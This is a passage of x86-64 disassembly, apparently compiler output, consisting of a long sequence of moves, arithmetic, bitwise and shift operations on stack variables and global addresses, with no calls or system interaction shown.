mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4d54]
shr eax, cl
mov dword [rsp + 0x4758], eax
mov rax, qword [rsp + 0x9ac0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa1d0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f58], rax
mov rax, qword [rsp + 0x8db0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa578]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x292], al
movsx eax, word [rsp + 0x16f8]
cdq
mov ecx, 0x6e4c
idiv ecx
mov rcx, qword [0x1401cd9d0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x26b]
mov byte [rsp + 0x2a8], al
movzx eax, word [rsp + 0x1730]
movzx ecx, word [rsp + 0x1754]
xor eax, ecx
mov rcx, qword [rsp + 0x9448]
mov word [rcx], ax
mov rax, qword [rsp + 0x9790]
movzx eax, byte [rax]
mov byte [rsp + 0x2a9], al
mov rax, qword [rsp + 0x9a00]
mov rcx, qword [rsp + 0xa6a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8c98], rax
mov rax, qword [rsp + 0x9060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x50f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa5b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4fbc]
mov dword [rsp + 0x5160], eax
mov rax, qword [rsp + 0x9580]
mov rcx, qword [0x1401cc010]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9738]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9628]
movzx eax, word [rax]
mov word [rsp + 0x17ec], ax
movzx eax, word [rsp + 0x1694]
mov word [0x1401cdafc], ax
movsx eax, byte [rsp + 0x234]
movsx ecx, byte [rsp + 0x22d]
sub eax, ecx
mov rcx, qword [rsp + 0x8ca8]
mov byte [rcx], al
mov rax, qword [rsp + 0x99f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa8a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x27a], al
lea rax, [rsp + 0x1544]
mov qword [rsp + 0xaa08], rax
mov rax, qword [rsp + 0x9cc8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa968]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x96d0], rax
mov rax, qword [rsp + 0xa950]
mov eax, dword [rax]
mov dword [rsp + 0x5164], eax
mov rax, qword [rsp + 0x99a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa758]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8be8], rax
mov rax, qword [rsp + 0x9278]
mov rcx, qword [rsp + 0x93a0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f84], eax
lea rax, [rsp + 0x243]
mov qword [rsp + 0xaa10], rax
mov rax, qword [rsp + 0x9318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9300]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401cc06b], al
movzx eax, byte [0x1401cc05e]
movzx ecx, byte [rsp + 0x21c]
sub eax, ecx
mov byte [rsp + 0x26f], al
lea rax, [rsp + 0x1574]
mov qword [rsp + 0xaa18], rax
movsx eax, word [rsp + 0x17c4]
movsx ecx, word [0x1401cd950]
sub eax, ecx
mov rcx, qword [rsp + 0x8de8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9388]
mov qword [rsp + 0xaa20], rax
mov rax, qword [rsp + 0x98d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x95e8]
mov qword [rsp + 0xaa28], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaa28]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xa580]
mov dword [rcx], eax
mov rax, qword [0x1401cc020]
mov rcx, qword [rsp + 0xa5f8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8158], rax
mov eax, dword [rsp + 0x4de8]
mov dword [rsp + 0x5168], eax
movzx eax, word [rsp + 0x1678]
movzx ecx, word [rsp + 0x1590]
sar eax, cl
mov rcx, qword [rsp + 0x91b0]
mov word [rcx], ax
movsx eax, word [rsp + 0x15c4]
mov rcx, qword [0x1401cd8e8]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [0x1401cd740]
mov word [rcx], ax
mov rax, qword [rsp + 0xa428]
movzx eax, byte [rax]
mov byte [rsp + 0x2aa], al
movzx eax, word [rsp + 0x1540]
mov rcx, qword [rsp + 0xa370]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x9b58]
mov word [rcx], ax
mov rax, qword [rsp + 0x9ab8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa560]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x99f0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9fb0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1e6]
add eax, ecx
mov byte [rsp + 0x57], al
mov rax, qword [rsp + 0x8f10]
mov rcx, qword [rsp + 0x8f20]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x8ed0]
mov qword [rcx], rax
lea rax, [0x1401cc020]
mov qword [rsp + 0xaa30], rax
mov eax, dword [rsp + 0x4f6c]
mov ecx, dword [rsp + 0x5028]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5118], eax
mov rax, qword [rsp + 0xa288]
mov ecx, dword [0x1401cc01c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4968], eax
mov rax, qword [rsp + 0x8d78]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9358]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401cdac0]
mov byte [rcx], al
lea rax, [rsp + 0x153c]
mov qword [rsp + 0xaa38], rax
mov rax, qword [rsp + 0xaa18]
movzx eax, word [rax]
movzx ecx, word [0x1401cc0b0]
sub eax, ecx
mov word [rsp + 0x147c], ax
movzx eax, byte [rsp + 0x209]
mov byte [rsp + 0x2ab], al
mov rax, qword [rsp + 0xa7e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9a90]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa5a8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa2f8]
mov rcx, qword [rsp + 0x9148]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x9c60], rax
mov rax, qword [rsp + 0x8d08]
mov eax, dword [rax]
mov dword [rsp + 0x516c], eax
mov rax, qword [rsp + 0xa780]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x47e4]
shl eax, cl
mov dword [rsp + 0x4ea0], eax
lea rax, [rsp + 0xa2a0]
mov qword [rsp + 0xaa40], rax
lea rax, [0x1401cc094]
mov qword [0x1401cdb00], rax
movsx eax, byte [rsp + 0xeb]
movsx ecx, byte [rsp + 0x292]
sar eax, cl
mov byte [rsp + 0x250], al
lea rax, [rsp + 0x15a8]
mov qword [rsp + 0xaa48], rax
movsx eax, word [rsp + 0x16ec]
mov rcx, qword [rsp + 0x91c0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x1674], ax
movzx eax, byte [rsp + 0x228]
mov rcx, qword [rsp + 0x8ef8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x260], al
mov eax, dword [rsp + 0x50c0]
mov dword [rsp + 0x5170], eax
mov rax, qword [rsp + 0x95b0]
mov rcx, qword [rsp + 0x8e58]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9cb0]
mov qword [rcx], rax
lea rax, [rsp + 0x4bc4]
mov qword [rsp + 0xaa50], rax
mov rax, qword [rsp + 0xa358]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa228]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9b60]
mov qword [rcx], rax
lea rax, [0x1401cc0e0]
mov qword [0x1401cdb08], rax
movzx eax, word [rsp + 0x161c]
movzx ecx, word [rsp + 0x15f8]
sub eax, ecx
mov word [rsp + 0x14f8], ax
mov rax, qword [rsp + 0x9508]
movzx eax, byte [rax]
mov byte [rsp + 0x2ac], al
movzx eax, byte [rsp + 0x1db]
mov rcx, qword [0x1401cd778]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa330]
mov byte [rcx], al
mov rax, qword [rsp + 0x9758]
movzx eax, byte [rax]
mov byte [rsp + 0x2ad], al
mov rax, qword [rsp + 0x90d0]
mov rcx, qword [rsp + 0xa0b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x501c], eax
mov eax, dword [rsp + 0x511c]
mov ecx, dword [0x1401cd710]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x91d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9958]
mov qword [rsp + 0xaa58], rax
mov rax, qword [rsp + 0x97a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x98e0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa6a8], rax
mov rax, qword [0x1401cd9d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x17e8]
add eax, ecx
mov rcx, qword [0x1401cda68]
mov word [rcx], ax
mov rax, qword [rsp + 0x9fc8]
movzx eax, word [rax]
mov word [rsp + 0x17f0], ax
mov rax, qword [rsp + 0x9818]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x281]
add eax, ecx
mov byte [rsp + 0x1e2], al
lea rax, [0x1401cc03b]
mov qword [rsp + 0xaa60], rax
mov rax, qword [rsp + 0xa9a8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1684]
or eax, ecx
mov rcx, qword [rsp + 0x8ed8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9eb8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x93a0]
mov qword [rsp + 0xaa68], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaa68]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x50a0], eax
mov rax, qword [0x1401cd728]
mov rax, qword [rax]
mov qword [rsp + 0xaa70], rax
mov eax, dword [rsp + 0x4f08]
movzx ecx, al
mov eax, dword [rsp + 0x4fd0]
sar eax, cl
mov dword [rsp + 0x4ebc], eax
mov rax, qword [rsp + 0x84e0]
mov rcx, qword [rsp + 0x9770]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8698], rax
mov rax, qword [rsp + 0x9f60]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x208]
and eax, ecx
mov rcx, qword [0x1401cd8c8]
mov byte [rcx], al
mov rax, qword [rsp + 0x93e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1ec], al
mov rax, qword [0x1401cd9a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8d30]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14c8], ax
movzx eax, byte [rsp + 0x205]
mov byte [rsp + 0x2ae], al
movzx eax, word [rsp + 0x1694]
movzx ecx, word [rsp + 0x151c]
add eax, ecx
mov rcx, qword [rsp + 0x9080]
mov word [rcx], ax
mov rax, qword [rsp + 0x9068]
mov qword [rsp + 0xaa78], rax
mov eax, dword [rsp + 0x4e80]
mov ecx, dword [rsp + 0x4f50]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fc4], eax
mov rax, qword [rsp + 0x9210]
mov rcx, qword [rsp + 0xa000]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9420]
mov qword [rcx], rax
lea rax, [rsp + 0x4ea0]
mov qword [rsp + 0xaa80], rax
lea rax, [rsp + 0x1fe]
mov qword [0x1401cdb10], rax
mov rax, qword [rsp + 0x93b0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8c00]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8ef8]
mov byte [rcx], al
movzx eax, byte [0x1401cc00d]
mov byte [rsp + 0x2af], al
movsx eax, word [rsp + 0x14c8]
movsx ecx, word [rsp + 0xeb0]
sub eax, ecx
mov rcx, qword [rsp + 0xa960]
mov word [rcx], ax
mov rax, qword [rsp + 0x9708]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1670]
sub eax, ecx
mov rcx, qword [rsp + 0x9038]
mov word [rcx], ax
mov rax, qword [0x1401cc020]
mov qword [rsp + 0xaa88], rax
mov rax, qword [rsp + 0x8c58]
mov ecx, dword [rsp + 0x4f08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4f58], eax
mov eax, dword [rsp + 0x50bc]
mov dword [rsp + 0x5174], eax
mov rax, qword [rsp + 0x9cb0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9958]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xa450], rax
movzx eax, byte [rsp + 0x256]
movzx ecx, byte [rsp + 0x294]
sar eax, cl
mov byte [0x1401cc06e], al
movzx eax, byte [rsp + 0x229]
mov byte [rsp + 0x2b0], al
movzx eax, word [rsp + 0x1778]
movzx ecx, word [rsp + 0x163c]
or eax, ecx
mov word [rsp + 0x1670], ax
movsx eax, word [rsp + 0x1600]
mov rcx, qword [rsp + 0xa468]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9ef8]
mov word [rcx], ax
movzx eax, word [rsp + 0x17a0]
mov word [rsp + 0x17f4], ax
mov eax, dword [0x1401cd710]
mov ecx, dword [rsp + 0x4f60]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f58], eax
lea rax, [rsp + 0x8fb0]
mov qword [rsp + 0xaa90], rax
mov rax, qword [rsp + 0xa358]
mov rcx, qword [rsp + 0x97a8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8848], rax
mov rax, qword [rsp + 0x9d18]
mov eax, dword [rax]
mov ecx, dword [0x1401cd720]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9698]
mov dword [rcx], eax
lea rax, [rsp + 0x1688]
mov qword [rsp + 0xaa98], rax
mov rax, qword [rsp + 0x9230]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa060]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x1401cd900]
mov byte [rcx], al
mov rax, qword [rsp + 0xa790]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x99a8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9be8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x278]
mov byte [rsp + 0x2b1], al
mov rax, qword [rsp + 0x9c10]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x168c]
sub eax, ecx
mov rcx, qword [rsp + 0xaa08]
mov word [rcx], ax
mov eax, dword [rsp + 0x5124]
mov ecx, dword [0x1401cd710]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4fc0], eax
lea rax, [rsp + 0x5158]
mov qword [rsp + 0xaaa0], rax
mov rax, qword [rsp + 0x92d8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6a8]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa260]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f90]
mov rcx, qword [rsp + 0x9fb8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x84b8], rax
mov rax, qword [rsp + 0xa738]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ed8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x171c], ax
movsx eax, byte [0x1401cd727]
movsx ecx, byte [rsp + 0x204]
shl eax, cl
mov byte [str.__t1xEM_g], al
lea rax, [rsp + 0x279]
mov qword [rsp + 0xaaa8], rax
mov rax, qword [rsp + 0xa268]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15a8]
xor eax, ecx
mov word [rsp + 0x159c], ax
mov rax, qword [rsp + 0xa448]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x25e]
or eax, ecx
mov byte [rsp + 0x22e], al
mov rax, qword [rsp + 0xa460]
mov qword [rsp + 0xaab0], rax
mov rax, qword [rsp + 0x9128]
mov rcx, qword [rsp + 0xa598]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9e58], rax
lea rax, [0x1401cd720]
mov qword [rsp + 0xaab8], rax
mov rax, qword [rsp + 0xa128]
mov ecx, dword [rsp + 0x50a4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4f88], eax
mov rax, qword [rsp + 0x96b8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9508]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1e8], al
lea rax, [0x1401cc0c4]
mov qword [0x1401cdb18], rax
lea rax, [rsp + 0x1e6]
mov qword [rsp + 0xaac0], rax
movzx eax, byte [rsp + 0x1fb]
mov rcx, qword [rsp + 0x9758]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9430]
mov byte [rcx], al
mov rax, qword [0x1401cd7b0]
movzx eax, word [rax]
mov word [rsp + 0x17f8], ax
mov rax, qword [rsp + 0x9470]
mov ecx, dword [rsp + 0x5078]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9270]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9520]
mov rcx, qword [rsp + 0x9288]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa628]
mov qword [rcx], rax
mov eax, dword [rsp + 0x510c]
mov dword [rsp + 0x5178], eax
mov rax, qword [rsp + 0x97f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9040]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa400]
mov qword [rcx], rax
lea rax, [rsp + 0x1710]
mov qword [rsp + 0xaac8], rax
lea rax, [rsp + 0x276]
mov qword [0x1401cdb20], rax
mov rax, qword [rsp + 0x9ab0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x92b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1734], ax
mov rax, qword [rsp + 0x9950]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1658]
add eax, ecx
mov rcx, qword [rsp + 0x9328]
mov word [rcx], ax
lea rax, [rsp + 0x28e]
mov qword [rsp + 0xaad0], rax
mov rax, qword [0x1401cda90]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14fc]
and eax, ecx
mov word [rsp + 0x17c0], ax
mov rax, qword [rsp + 0x9a28]
mov qword [rsp + 0xaad8], rax
mov rax, qword [rsp + 0x98f8]
mov rcx, qword [rsp + 0xa3e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x50e0], eax
lea rax, [rsp + 0xa000]
mov qword [rsp + 0xaae0], rax
mov eax, dword [rsp + 0x5004]
mov ecx, dword [rsp + 0x513c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9468]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x27e]
movsx ecx, byte [rsp + 0x26e]
shl eax, cl
mov byte [0x1401cc04e], al
movzx eax, byte [rsp + 0x1ef]
mov rcx, qword [rsp + 0xaaa8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x76], al
movzx eax, word [rsp + 0x17dc]
mov word [rsp + 0x17fc], ax
mov rax, qword [rsp + 0x9300]
movsx eax, byte [rax]
movsx ecx, byte [0x1401cc04a]
add eax, ecx
mov byte [rsp + 0x28d], al
lea rax, [rsp + 0x15a4]
mov qword [rsp + 0xaae8], rax
mov eax, dword [rsp + 0x4f78]
mov ecx, dword [rsp + 0x4eb0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x50e0], eax
mov rax, qword [rsp + 0x9b78]
mov ecx, dword [rsp + 0x4fc8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5168], eax
mov rax, qword [rsp + 0x8c08]
mov qword [rsp + 0xaaf0], rax
mov rax, qword [rsp + 0x8bf8]
mov rcx, qword [rsp + 0x9480]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x88e8], rax
mov rax, qword [rsp + 0x99a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x14e0]
sub eax, ecx
mov word [0x1401cd840], ax
mov rax, qword [rsp + 0x9088]
movzx eax, byte [rax]
mov byte [rsp + 0x2b2], al
mov rax, qword [rsp + 0xa290]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x21c]
sub eax, ecx
mov rcx, qword [rsp + 0xa670]
mov byte [rcx], al
movsx eax, byte [rsp + 0x287]
movsx ecx, byte [rsp + 0x234]
sub eax, ecx
mov byte [rsp + 0xca], al
mov rax, qword [rsp + 0x9340]
movzx eax, word [rax]
mov word [rsp + 0x1800], ax
mov rax, qword [rsp + 0x91f0]
mov rcx, qword [rsp + 0xa8c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x50d4], eax
mov rax, qword [rsp + 0x8d40]
mov rax, qword [rax]
mov rcx, qword [0x1401cc020]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x80a0], rax
mov rax, qword [rsp + 0x9570]
mov rcx, qword [rsp + 0xa3c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xa378]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9290]
mov ecx, dword [rsp + 0x4efc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4ec4], eax
mov rax, qword [rsp + 0x8f68]
movzx eax, byte [rax]
mov byte [0x1401cd7eb], al
mov rax, qword [rsp + 0x9790]
movzx eax, byte [rax]
mov byte [rsp + 0x2b3], al
movsx eax, word [rsp + 0x150c]
movsx ecx, word [rsp + 0x14dc]
cdq
idiv ecx
mov word [rsp + 0x1640], ax
lea rax, [0x1401cc040]
mov qword [rsp + 0xaaf8], rax
movsx eax, word [rsp + 0x1720]
movsx ecx, word [rsp + 0x11fc]
or eax, ecx
mov rcx, qword [rsp + 0x99a8]
mov word [rcx], ax
lea rax, [rsp + 0x9198]
mov qword [rsp + 0xab00], rax
mov eax, dword [rsp + 0x4f50]
mov ecx, dword [0x1401cd720]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa818]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4f40]
mov rcx, qword [rsp + 0x9518]
mov qword [rsp + 0xab08], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab08]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4e40], eax
mov rax, qword [rsp + 0xa9f8]
mov rax, qword [rax]
mov qword [rsp + 0xab10], rax
movzx eax, byte [rsp + 0x236]
movzx ecx, byte [rsp + 0x1ce]
sar eax, cl
mov rcx, qword [0x1401cd9a0]
mov byte [rcx], al
movsx eax, word [rsp + 0x17b4]
mov rcx, qword [rsp + 0xa960]
movsx ecx, word [rcx]
imul eax, ecx
mov word [rsp + 0x1718], ax
movzx eax, word [rsp + 0x15b0]
mov word [rsp + 0x1804], ax
mov rax, qword [rsp + 0x9858]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa3f8]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa6b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x8c50]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x289]
sub eax, ecx
mov byte [rsp + 0x241], al
lea rax, [rsp + 0x4e54]
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xa210]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6a8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x80a0], rax
mov rax, qword [rsp + 0x8f10]
mov rax, qword [rax]
mov qword [rsp + 0xab20], rax
mov rax, qword [rsp + 0x9768]
mov ecx, dword [rsp + 0x50a0]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9f50]
mov dword [rcx], eax
lea rax, [rsp + 0x1e6]
mov qword [0x1401cdb28], rax
movsx eax, word [rsp + 0x16b0]
mov rcx, qword [rsp + 0x8fe8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x15f4], ax
mov rax, qword [rsp + 0xaa48]
movzx eax, word [rax]
mov word [rsp + 0x1808], ax
movsx eax, byte [rsp + 0x23f]
movsx ecx, byte [rsp + 0x26c]
add eax, ecx
mov byte [rsp + 0x1e5], al
movzx eax, word [rsp + 0x14e0]
mov word [rsp + 0x180c], ax
mov eax, dword [rsp + 0x5018]
mov ecx, dword [rsp + 0x5010]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f2c], eax
mov rax, qword [rsp + 0x98f8]
mov eax, dword [rax]
mov dword [rsp + 0x517c], eax
mov rax, qword [rsp + 0x97f8]
mov rcx, qword [rsp + 0x9dd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9e58], rax
mov rax, qword [rsp + 0x90a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8f58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x94a0], rax
movzx eax, word [rsp + 0x1584]
movzx ecx, word [rsp + 0x16b8]
xor eax, ecx
mov word [0x1401cc0f8], ax
lea rax, [rsp + 0x1ef]
mov qword [rsp + 0xab28], rax
movsx eax, byte [rsp + 0x24c]
movsx ecx, byte [rsp + 0x143]
or eax, ecx
mov byte [rsp + 0x22d], al
movzx eax, word [rsp + 0x15f8]
mov word [rsp + 0x1810], ax
mov rax, qword [rsp + 0x9028]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1634]
shl eax, cl
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov rax, qword [rsp + 0xaa70]
mov rcx, qword [rsp + 0xa9f0]
mov qword [rsp + 0xab30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab30]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8ff8], rax
lea rax, [rsp + 0x4e60]
mov qword [rsp + 0xab38], rax
mov rax, qword [rsp + 0x96e8]
mov rcx, qword [rsp + 0x9370]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa758], rax
lea rax, [rsp + 0x4ee4]
mov qword [rsp + 0xab40], rax
mov rax, qword [rsp + 0x9f20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa8b8]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x1401cc0e8], ax
mov rax, qword [rsp + 0x8fa8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa018]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x20a], al
movzx eax, byte [rsp + 0x180]
mov rcx, qword [0x1401cd778]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xd6], al
movsx eax, word [rsp + 0x16cc]
movsx ecx, word [rsp + 0x168c]
add eax, ecx
mov word [rsp + 0xe94], ax
mov rax, qword [rsp + 0x9aa8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9608]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x25a], al
mov eax, dword [rsp + 0x4f44]
mov dword [rsp + 0x5180], eax
mov rax, qword [rsp + 0x9948]
mov rcx, qword [rsp + 0x9dd0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa538], rax
mov rax, qword [rsp + 0xa2e0]
mov rcx, qword [0x1401cc028]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8fd8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xaa80]
mov eax, dword [rax]
mov dword [rsp + 0x5184], eax
mov rax, qword [rsp + 0x9920]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa530]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9058]
mov byte [rcx], al
mov rax, qword [rsp + 0xa1b0]
movsx eax, byte [rax]
movsx ecx, byte [str.Qp2jCg_f_]
sub eax, ecx
mov byte [0x1401cc06f], al
lea rax, [rsp + 0x1744]
mov qword [rsp + 0xab48], rax
mov rax, qword [rsp + 0x9180]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1704]
or eax, ecx
mov rcx, qword [rsp + 0x94a8]
mov word [rcx], ax
movzx eax, word [rsp + 0x171c]
mov word [rsp + 0x1814], ax
mov rax, qword [rsp + 0xa260]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x92d0]
shl rax, cl
mov rcx, qword [rsp + 0xa9f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4ea4]
mov rcx, qword [rsp + 0x9e20]
mov qword [rsp + 0xab50], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab50]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x5028], eax
mov rax, qword [rsp + 0xa6b0]
mov rax, qword [rax]
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0x9798]
mov rcx, qword [rsp + 0xa0c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xa188]
mov dword [rcx], eax
movzx eax, word [rsp + 0x17fc]
mov word [rsp + 0x1818], ax
mov rax, qword [rsp + 0xa4d0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x97e8]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401cc06e], al
movzx eax, byte [rsp + 0x25a]
